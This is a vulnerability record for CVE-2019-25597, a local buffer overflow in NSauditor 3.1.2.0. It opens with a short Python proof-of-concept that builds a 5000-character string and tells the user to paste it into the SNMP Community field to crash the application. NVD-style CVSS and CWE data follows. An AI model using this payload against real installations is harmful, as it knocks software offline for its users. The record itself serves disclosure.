CVE-2019-25597

# Proof of Concept for CVE-2019-25597 # This script generates a payload to trigger the buffer overflow. # Usage: Copy the generated string and paste it into the 'Community' field in NSauditor SNMP Auditor, then click 'Walk'. def generate_payload(): # Create a large string of 'A's to overflow the buffer # Adjust length if necessary, 5000 chars is usually sufficient to crash the vulnerable app payload = "A" * 5000 return payload if __name__ == "__main__": exploit = generate_payload() print("[+] Payload generated successfully.") print("[+] Copy the string below and paste it into the 'Community' field in NSauditor.") print("[+] Click the 'Walk' button to trigger the Denial of Service.") print(f"Payload: {exploit}")

{"cve": {"id": "CVE-2019-25597", "sourceIdentifier": "[email protected]", "published": "2026-03-22T14:16:26.807", "lastModified": "2026-05-01T21:01:41.440", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NSauditor 3.1.2.0 contains a buffer overflow vulnerability in the SNMP Auditor Community field that allows local attackers to crash the application by supplying an excessively long string. Attackers can paste a large payload into the Community field and trigger the Walk function to cause a denial of service condition."}, {"lang": "es", "value": "NSauditor 3.1.2.0 contiene una vulnerabilidad de desbordamiento de búfer en el campo Community del Auditor SNMP que permite a atacantes locales bloquear la aplicación al proporcionar una cadena excesivamente larga. Los atacantes pueden pegar una carga útil grande en el campo Community y activar la función Walk para causar una condición de denegación de servicio."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nsasoft:nsauditor:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.1.2.0", "versionEndExcluding": "3.2.7", "matchCriteriaId": "9A57F949-C811-4906-897D-779C4DD632CC"}]}]}], "references": [{"url": "http://www.nsauditor.com/downloads/nsauditor_setup.exe", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://www.exploit-db.com/exploits/46757", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory", "VDB Entry"]}, {"url": "https://www.vulncheck.com/advisories/nsauditor-denial-of-service-via-community-field", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}